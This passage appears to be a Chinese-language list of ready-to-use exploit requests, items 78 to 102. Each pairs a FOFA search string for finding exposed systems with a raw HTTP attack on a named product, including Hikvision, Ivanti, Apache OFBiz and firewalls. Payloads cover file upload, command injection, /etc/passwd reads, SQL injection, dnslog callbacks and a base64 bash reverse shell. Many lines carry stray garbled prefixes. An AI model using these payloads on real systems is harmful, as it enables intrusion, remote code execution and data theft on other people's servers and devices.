Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

9 g) J3 p6 ?; V4 b/ e" E! T------------398jnjVTTlDVXHlE7yYnfwBoix
9 K+ p: |! m$ A0 w0 t' sContent-Disposition: form-data; name="folder"

/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
3 }' J0 \2 n) d) ~Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
( X* A0 b6 i0 Q4 U1 h9 F/ `Content-Type: application/octet-stream

hello1234567
------------398jnjVTTlDVXHlE7yYnfwBoix
/ ]- Z- n7 o( z& |Content-Disposition: form-data; name="Upload"
; g& ?* L1 N0 R4 v
: h  T  j! d  t. A2 G3 _0 K* \Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--
+ f  d, S  E8 Z) |  C! ~2 E# z/ |

78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
3 m' p# d% d) D  ~! vPOST /Platform/System/FileUpload.ashx HTTP/1.1
* C$ K) G* z: g9 V. W- QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 S+ P# X. }/ r* L0 K/ eConnection: close
Content-Length: 336
5 X2 s6 g' M' Z# z2 z# Y8 }Accept-Encoding: gzip
( H. X2 }6 K8 V. k7 {; t" m4 `/ ?Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

; x9 ]. ~' t% X9 R) z) D9 Z& z------YsOxWxSvj1KyZow1PTsh98fdu6l
' K; z8 E% c8 ^+ y6 s- r1 YContent-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
& `+ _6 K; I; ]/ M% ?Content-Type: image/png

% y4 f0 q) e3 m: y4 aYsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
0 ?" Y; {# |2 e- l. y9 X+ k2 sContent-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
8 o$ g8 q: P" m5 D6 s! F/ B------YsOxWxSvj1KyZow1PTsh98fdu6l--


GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
5 G; U$ F: }1 n' XHost: x.x.x.x

. Z( v# ^& D6 a1 H
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
# p2 J) @* o# l5 y5 YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
. j$ k4 S9 N! L7 D9 y# R. V- MAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, [7 Q4 z! R+ X% W: F% ?Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
3 k, }6 {; p# I# _1 t* z: NConnection: close
Upgrade-Insecure-Requests: 1

9 `( v  G5 W2 k$ |2 s% c4 `) @- B+ S! m2 ]
( J: e: z0 q, p4 _80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
2 R6 x1 x7 X, F/ a: ]- JFOFA：app="速达软件-公司产品"
" q) h- [' S, @$ pPOST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' ~. Q  M* \5 Z9 B& @) pContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 a( z7 {# |1 S6 C, pAccept-Encoding: gzip, deflate
7 Y3 E% o6 G4 C3 m. H! g: eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/octet-stream
: n' N$ G0 v# R" g7 ~Upgrade-Insecure-Requests: 1

) U& c/ |! c( T: C<% out.print("oessqeonylzaf");%>

0 g1 @# C9 \) H. B+ _# k4 p  w
GET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip


4 `, C/ l2 c/ a$ M. F$ n81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
4 N5 ~' ~8 o' Y8 \FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
  L; T* B6 t5 b; E0 l! NUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# l& D7 _- _+ f1 h) t" K; x5 `5 uAccept-Encoding: gzip

8 J' Z. P5 q) G& x: P
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
/ R4 n( {3 j: I. `8 HFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
3 {' q- r/ S- a) _4 O- N; J) LUser-Agent: Go-http-client/1.1
Content-Length: 23
Accept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL
7 V+ u1 W: F! c( }" u* \- a
8 z* R  M5 O, w4 P2 Sz1=1&z2="|id;"&z3=bhost


& z8 l4 N* H, P" A4 |3 N- V2 p83. JeecgBoot testConnection 远程命令执行
0 D3 z6 U- e: t* `+ J, E: ?/ F/ }FOFA：title=="JeecgBoot 企业级低代码平台"

3 M% Y8 {# \9 p: h
' S8 h! P. L; t7 F* y/ a9 kPOST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
8 T# f  E# C# r4 H# ^& YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 b( j' }! C/ p8 d% _2 UConnection: close
Content-Length: 8881
" w  p% H$ T7 A; V! m. i4 ~9 g: dAccept-Encoding: gzip
, j, O9 t7 D; p1 f- d* MCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json
1 s3 s) I# \1 q( y  J
PAYLOAD
* z  L5 X( w2 @: Y! t1 W+ M& Z4 I! g
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
; v: I2 N: ]+ M0 b" R
- [0 V; K6 o& n# j1 p2 Y6 K$ ?
- w$ e" a/ _, z8 L
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
; D" n, E3 M. u) XHost: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
: M4 Z' |4 {2 H2 o7 D; Z( DConnection: close
1 F/ E2 B/ v+ s4 g. }% nContent-Type: application/json
5 i  Z5 v+ z& s$ j) CAccept-Encoding: gzip
* o9 J9 M6 c$ w2 X$ s7 M
, G) q! c* V0 L" M( E: \/ B/ T) G{
"sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
# |% D& t2 C6 ~+ F' @  "type": "0"
}

( ]$ a* ^7 S+ w( \% {; |& Z4 X- e
# M) @- N3 v3 U85. SysAid On-premise< 23.3.36远程代码执行
5 L6 Q% X0 ]1 P: _" ^* [9 n( b' UCVE-2023-47246
FOFA：body="sysaid-logo-dark-green.png"
- c/ }% l% _4 i; Q: E/ C  HEXP数据包如下，注入哥斯拉马
POST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
+ c7 V- F0 i8 X+ S- j1 J$ R% yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
' a7 X- u, Q3 @. z& rAccept-Encoding: gzip
; e% V+ V0 O( j, w* ~7 y- l
PAYLOAD
2 _, y9 \$ g7 [3 O! p1 G5 L- K3 D/ ~( h6 ^+ r
回显URL：http://x.x.x.x/userfiles/index.jsp

8 {! }1 j# Y5 X! O. E- T* |86. 日本tosei自助洗衣机RCE
0 d. r; g. S$ g5 C( SFOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
$ ^& L' T" z8 O/ k% M0 ?" ?Host: x.x.x.x
4 H) O  K- Y3 yUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 44
Accept: */*
Accept-Encoding: gzip
Accept-Language: en
4 ^: t* J" S& z$ x/ bContent-Type: application/x-www-form-urlencoded

" W; Z2 q3 E) o/ xhost=%0acat${IFS}/etc/passwd%0a&command=ping


  T1 A, \6 M: S7 i87. 安恒明御安全网关aaa_local_web_preview文件上传
) S$ ?. {3 M) {FOFA：title="明御安全网关"
POST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
7 J- e4 ?" }) [, k" vConnection: close
: x1 o& s, ]9 s) u$ bContent-Length: 198
1 Y1 p# D1 K1 n( I$ s1 G* YAccept-Encoding: gzip
1 f. ^5 e; g7 Q, u+ ], k- aContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
/ l+ [4 I6 c1 q/ r, N* `8 d* N
--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
1 [- q+ p; x- nContent-Type: text/plain
4 S* m* a: X0 r8 F9 P
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
--qqobiandqgawlxodfiisporjwravxtvd--
1 S; G1 K% r; j5 Y4 l6 X
7 m: F5 G6 l* Y$ j
/jfhatuwe.php
# k$ z/ u, e/ h& h  o( N1 D
6 j! ]4 K* s" S, U88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
4 x+ u* ?7 g; O" VFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
0 J$ b; Q- Z! e8 WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 ?( c; d) B" X! n2 T1 f, d6 EAccept-Encoding: gzip, deflate
- I4 g7 u5 F4 i/ x; f5 a5 \Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
# K3 `& y. p* c( b
; ^3 Q. C; [4 L7 U9 e0 Q! e) ^4 f8 c
/astdfkhl.php

- B- o# n9 v2 d8 c- g89. 致远互联FE协作办公平台editflow_manager存在sql注入
1 d4 I7 g! R! o" }% P2 EFOFA：title="FE协作办公平台" || body="li_plugins_download"
# n; |! _% u) z- u: bPOST /sysform/003/editflow_manager.js%70 HTTP/1.1
: h1 U2 h+ r* C6 }" fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
  n( U. n6 W3 v$ x1 j- yContent-Length: 41
$ s2 w9 s! W3 d6 V; o# MContent-Type: application/x-www-form-urlencoded
2 c% X( W4 S2 ~+ P& J4 [4 FAccept-Encoding: gzip
+ T5 h; ?& t( _
option=2&GUID=-1'+union+select+111*222--+
* U  Z5 W3 J1 ]) Z9 F) b  X0 ?

. {* `4 n4 Q' z8 B90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
7 W1 l! ^+ i: `' `) dFOFA：icon_hash="-1830859634"
1 F' w" i- @7 U% EPOST /php/ping.php HTTP/1.1
7 v3 e! x/ h1 Q  M, A7 u8 }Host: x.x.x.x
/ z! t! d1 T8 v' Z: A: N' [. }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
) {& @" W% b; R% m: e, ?' I, lContent-Length: 51
. c% @5 x3 j9 z0 }, S5 e- NAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 c6 B' a2 H& h9 lConnection: close
Content-Type: application/x-www-form-urlencoded
% j) n# c, @! e  Q$ g/ F& e! @X-Requested-With: XMLHttpRequest
" @2 ^( [6 H% `
# e3 N9 _+ ^1 L3 \( ?, M9 m' ^jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
# C1 r' W# J" \* n9 K
" X: S+ o. M+ B
/ V. q& ~- x6 N4 f7 a1 ]91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
2 F/ q7 b( V0 [# M6 AFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
1 h8 x/ U1 _) p: A! h( j& w2 sHost: your-ip
# P# B+ d8 Z9 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
& l) _* h  `" {& H" |  ~; KAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
# l2 [0 H& [6 ~/ z7 h5 [

* Y/ [5 ^1 n5 N5 m( h
4 O) y7 l' v! _: K- Q! `92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
1 ^+ A- l# h% e; ]POST /center/api/session HTTP/1.1
4 Y+ Z1 l. y  SHost:
1 r% m# f+ Q. B& n9 CAccept: application/json, text/plain, */*
) `1 C6 ^* \( V9 s  NAccept-Encoding: gzip, deflate
/ |5 @: Y' [4 ^! m3 Q1 Z( B0 kX-Requested-With: XMLHttpRequest
8 t3 U; _* F! y* r0 P0 d% \Content-Type: application/json;charset=UTF-8
, ?; T5 r; M1 |# g3 fX-Language-Type: zh_CN
3 d- T& P* p9 {" b0 h5 ~Testcmd: echo test
8 ~% X0 y8 g( E& j. G: rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
- l- C1 o( Z! o* o8 _  @. S9 V* u1 jAccept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

- f! E0 I$ @9 f3 F+ LPAYLOAD
" K2 m* ?. [! W( k

2 l. i/ t; i& s5 d- U5 Q2 F93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
: C; [: n" `. ^5 {# oHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
. A! v. |6 }9 ~User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

4 V5 b5 n, _& _: U5 |8 e7 N------WebKitFormBoundarykcbkgdfx
% Z" _' j& H! [' Q7 h# RContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
% k" o8 A+ ^4 z" \  K7 e------WebKitFormBoundarykcbkgdfx
. z) S0 T5 W( D* T9 J) t, ]Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain
: k% m. L5 V- W9 Z9 Z& j2 f# q" y
/ q1 C9 N3 _. G% wwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
0 k4 r2 [+ x' x  N0 b7 }6 AContent-Disposition: form-data; name="submit_post"
) @6 S/ A2 `! Q# _1 V
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="__hash__"
6 f5 @3 A$ g. ]7 p6 Y
# [7 }& n9 {: R1 l. K# n1 c! t0b9d6b1ab7479ab69d9f71b05e0e9445
/ c) f( P* E1 p% p7 g: D* I& F------WebKitFormBoundarykcbkgdfx--
. b, R+ q$ f! O9 l! [
" P. |9 g; f/ r7 Q* O
1 Y9 B1 f( F! PGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* D/ ^; ]( A" O: `- K5 ~
$ Y2 d! R  C& n0 O
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
9 |9 v: w. o$ x( H2 S( U* p& qPOST /?g=obj_area_import_save HTTP/1.1
; _( Z' }0 U# X( K7 B* u3 RHost: x.x.x.x
* [, Q8 f* z. c; U3 A2 O8 y$ z% yContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
& q  b2 j& V/ u6 a6 B
. W% _8 a8 y" G) a9 E# u, t  J------WebKitFormBoundarybqvzqvmt
2 P  U7 Y4 P. ^+ MContent-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
. k: z8 b9 v# j/ R  Y' ^& a* Y2 kContent-Type: text/plain
) j( G, F* E7 b; t# `. E
pxplitttsrjnyoafavcajwkvhxindhmu
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"
1 |% b( ^+ i) Y6 `6 X5 W' O& E
obj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
/ e2 R) [) Q( h
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--

! t6 t7 d( P& x( M8 W( P' y

9 F5 M9 p& j3 Q* _, HGET /attachements/xlskxknxa.txt HTTP/1.1
' {# ]5 ?2 z, S. i8 S& j$ ~3 W( lHost: xx.xx.xx.xx
0 j; O) y8 U: H& iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
: x3 k. k7 S! R  s
: p  V- ~( s1 }

( R; o0 w7 B5 \! N7 ~& _95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
FOFA：app="Apache_OFBiz"
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
4 `% L; i3 p' M* q$ I- oUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
* l, V; z# N9 d: p( y& BConnection: close
+ e" z- z  o6 V5 WContent-Length: 889
. k/ J4 ^! {' [! q4 X, ?9 VContent-Type: application/xml
Accept-Encoding: gzip

- Z3 P; V. l* m8 \<?xml version="1.0"?>
* H! C5 G# k2 n; r& d<methodCall>
8 U  F0 u- ^3 g% A2 A/ |6 B   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
, ~% h  |8 N4 T, X& J% q      <param>
      <value>
, _# H3 B- q, ^: N9 A        <struct>
: h9 ^9 v5 p* G9 g! a4 g/ f       <member>
          <name>test</name>
' |8 X4 ^2 ^3 z! e/ ^5 c) T6 g          <value>
2 `' \5 ]+ u' U5 w5 o5 U* H3 l* [      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
& v+ ?6 O" B# }2 \3 y0 H        </member>
      </struct>
      </value>
$ h* {; s8 ~4 p! s6 [* T4 k. B    </param>
& X1 u5 n) m6 g! D* t* I3 y7 C    </params>
  l2 M% w% ]3 N9 Z</methodCall>

4 [; }1 Q4 A8 B) n: i
6 U6 j2 V' m- d) {4 e7 x用ysoserial生成payload
9 c; M* N9 `3 p# h# {$ Y* _java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
  l. |0 I0 E: M, v) p9 ~) ~' |# Q2 P
6 B. X  _! N1 L3 u" y5 W! b
将生成的payload替换到上面的POC
. J: G* n0 W4 o# c+ P1 L+ Q0 WPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
% A! j, I8 @0 |  r. s! fContent-Type: application/xml
8 q3 g% ^/ N; ^Accept-Encoding: gzip

PAYLOAD

/ E3 D0 c8 d; e# q) E# [3 f96. Apache OFBiz  18.12.11 groovy 远程代码执行
% C3 b1 K) ]& _9 j7 H4 SFOFA：app="Apache_OFBiz"
# {, c; }8 @+ P* k8 a9 JPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
+ j) I+ T* P8 n3 t$ fHost: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
: c8 H& o+ d9 x/ D1 p5 HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 55

3 N: x. ?/ \' H" C" c8 Q, sgroovyProgram=throw+new+Exception('id'.execute().text);
' x3 `) `( q/ \

8 Z, |( g: c, j反弹shell
在kali上启动一个监听
. r4 j, l$ Y! L. r4 y' ~% wnc -lvp 7777

POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
+ n# Q1 H* {* l4 ZUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
& A7 F8 r8 ?" H; \Accept: */*
3 o% F! @, N9 Y, f6 w- ]Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
. C# E: E0 @- U, e$ D( c
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
3 R$ s4 W* a) ]8 G( }FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
5 S0 W7 s8 [# d1 j( XHost: 192.168.40.130:8085
$ H0 |" `9 S' |6 }6 K8 wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
4 W2 D+ x' v7 @Accept-Encoding: gzip
9 g: L8 T5 e, e* |4 mConnection: close
Cookie: rememberMe=PAYLOAD
9 T* y( O9 B: b: X2 Z$ p, l* @X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
" x3 s! h% i. m9 a9 D5 F
. [6 @( f6 {) j! h& x+ {" P, l# ^
. e5 h6 a: y, s& U& y8 Q& Q* Q98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
1 u$ l0 N8 A% T, R# j. mPOST /function/save HTTP/1.1
" h$ ?  s$ p9 Q% F' u6 C0 sHost: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
1 @3 I4 z: M" SConnection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
& m/ O% W" ]) b  n* f- ^Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
6 h3 z1 l# Z3 V, W) w
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
0 u" E% G$ G! g  z1 @

99. Ncast盈可视高清智能录播系统busiFacade RCE
6 w1 q% f& [2 C0 ~- X1 SCVE-2024-0305
FOFA：app="Ncast-产品" && title=="高清智能录播系统"
) z# j# ^0 }/ o" YPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
( y8 _# L; f$ D8 D) E* \# ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
: v% z7 S7 S" @% ~7 LConnection: close
Content-Length: 154
2 r( ?9 k0 A9 K5 V8 |. |Accept: */*
* o: P  n& Y% j; y  KAccept-Encoding: gzip, deflate
; k; s* M( _& W( P% f1 ?, zAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
3 n. J( r! f# o, IX-Requested-With: XMLHttpRequest
( ]7 [+ f: a& v" s# ?" y' Z
/ `7 G! {3 H0 ~) b! H: B%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
* z6 ?3 D' U- D# y" I: K( ~
2 i$ G. v: X) p3 c* O. K' [
7 X1 n+ Q  F! ?$ }3 P2 r100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
  a2 ~4 D0 l* S, R& NCVE-2024-0352
% M3 g) y6 M: M) Z6 |- M' TFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
$ D6 s/ B. z( x1 r+ w5 IHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
0 Q; b4 X& i- a" F( V! lConnection: close
Content-Length: 201
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
6 f4 h7 s6 K+ Z+ g
------WebKitFormBoundarygcflwtei
2 u2 X/ Q- ?+ N& |! p& ]" J& V$ XContent-Disposition: form-data; name="file";filename="IE4MGP.php"
- d3 }6 ^4 S2 S7 dContent-Type: application/x-php

9 {: ^" J( U  V2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
& D1 }2 s/ I" j& O: Y0 r8 _
% @7 V! K0 U) I) E- Y( l8 O9 x
101. ivanti policy secure-22.6命令注入
CVE-2024-21887
& L( r1 F! H% KFOFA：body="welcome.cgi?p=logo"
: k/ x) J/ T3 m3 r0 f1 hGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
$ T; L0 h' m4 c. K0 AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
  }0 r" b: v& C# b, l. f& S! BConnection: close
Accept-Encoding: gzip

0 P# }$ H4 \$ E, V, G5 e7 Q) E$ `
9 ?" d& F# b4 {  c1 X9 @) N, d102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
9 U6 l$ j# |) i' w2 {7 YCVE-2024-21893
# S' c( g4 ]+ S3 U8 a; V+ ZFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
" N8 p) W, C! ?$ s$ NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
5 }" p' @/ t' S0 X
